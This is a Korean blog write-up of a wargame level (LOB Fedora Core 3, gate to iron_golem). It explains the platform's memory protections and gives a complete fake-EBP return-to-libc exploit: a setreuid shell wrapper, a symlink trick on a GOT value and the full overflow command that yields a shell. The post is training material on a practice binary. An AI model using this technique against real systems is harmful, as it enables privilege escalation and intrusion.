Profile

머리정리하는곳

c2w2m2

[Level1] gate -> iron_golem

먼저 RedHat 이랑 비교해서 FC3에서 달라진점



Stack Dummy 추가

Random Stack

ASCII Arㅡor

NON-Executable Stack

NON-Executable Heap



Stack Dummy 추가는 변수들과 SFP, RET 사이에 필요없는 dummy 공간들이 채워진다는 거고

Random Stack은 스택주소가 실행마다 랜덤하게 바뀌어서 shellcode를 넣어도 제대로된 주소로 못주는것

ASCII Armor 은 라이브러리 함수 최상위 주소값이 0x00으로 고정되서 연속적 함수 호출 불가

NON-* 은 각각에서의 실행권한을 없애는 것


즉 RedHat에 비해 겁나게 어려워요...





일단은 알고 넘어가고 Level1 소스코드부터 보죠



코드 자체는 매우 매우 쉽네요

하지만 NON- 때문에 shellcode 주입해봤자 의미도 없고 하니 RTL을 사용해야하는데 문제에서 힌트를 Fake Ebp 라 했으므로 이걸 이용해서 공격하면 될거같습니다.


RedHat처럼 심볼릭링크로 파일이름에 /bin/sh 주소 걸고 execve로 하려 했는데 gdb로 파일을 조금 분석해보니 파일 이름이 스택에 없더군요......


고로 구글링을 좀 해보니 GOT 함수 부분에서 조작을 하면 된다고 합니다.


한번 확인을 해보져



/usr/bin/nm iron_golem


명령어를 이용하면 볼 수 있습니다.



저기 보이는 저게 GOT의 주소입니다. 제 기준으로 0x08049618 이군요. 한번 파일을 실행시켜서 보도록 합시다 ( 파일 복사 필수 )



저 주소로 들어가 봅시다.



저기보이는 0x00000001 부분이 우리가 조작할 부분입니다.


0x01 부분 이후에 NULL 도 있으니 저희가 사용할 조건에 맞아 보입니다.





심볼릭 링크를 0x00000001에 검으로써 원래 실행되어야 할 파일보다 우선순위가 높아져서 실행이 되는것



// shell.c


#include <stdio.h>
void main()
{
 setreuid(501, 501);
 system("/bin/sh");
}


이렇게 코드를 짜시고 컴파일 후



ln -s shell `python -c 'print "\x01"'`


로 저 파일에 \x01 심볼릭 링크를 걸어줍시다.






execl 함수를 분석해야하는데 일단은 귀찮아서패스 하고 다음에 이해해서 수정할때 같이 추가할게요


execl 함수는 ebp + 8 , ebp + 12, ebp + 16 .... 을 인자로 참조합니다.


즉 저희가 execl 함수 첫번째에 넣을 인자는 ebp + 8 이 될 것이고, SFP가 ebp 니까 SFP 에 넣을 값은 GOT-8 의 주소값이 될것입니다.


 

그리고 execl의 함수가



이렇게 되는데 보면 맨위 함수 프롤로그에서 push ebp 가 있습니다. 이거 때문에 ebp 값이 변하게 되므로 execl 의 주소인 0x007a5720 대신에 함수 프롤로그가 끝나는 0x007a5723 으로 불러야 합니다.



그리고 buffer 에서 sfp 까지의 거리를 알아야 하는데 전에는 그냥 buffer 값이였다고 하면 이제는 gdb로 뜯어서 봐야합니다..



저기 보이는 sub $0x108, %esp 에서 0x108이 buffer 에서 sfp 까지의 거리입니다


즉 0x108 = 264 이므로 buffer ~ sfp [264 byte] 입니다.



이젠 공격을 해봅시다!



./iron_golem `python -c 'print "A"*264 + "\x10\x96\x04\x08" + "\x23\x57\x7a\x00"'`


차례로 buffer 에 더미값 채우기, GOT-8 의 주소, execl 프롤로그 스킵 주소가 됩니다.



쉘을 얻었습니다.











너무 어려워요 ㅠㅠ 이해 안되는 부분도 있고 ㅠㅠ

'Pwnable > LOB' 카테고리의 다른 글

[LOB FC3 - level4] hell_fire -> evil_wizard  (0) 2017.06.12
[Level13] darknight -> bugbear 다른풀이  (0) 2017.05.19
[Level20] xavius -> death_knight  (0) 2017.05.18
[Level19] nightmare -> xavius  (0) 2017.05.18
[Level18] succubus -> nightmare  (0) 2017.05.18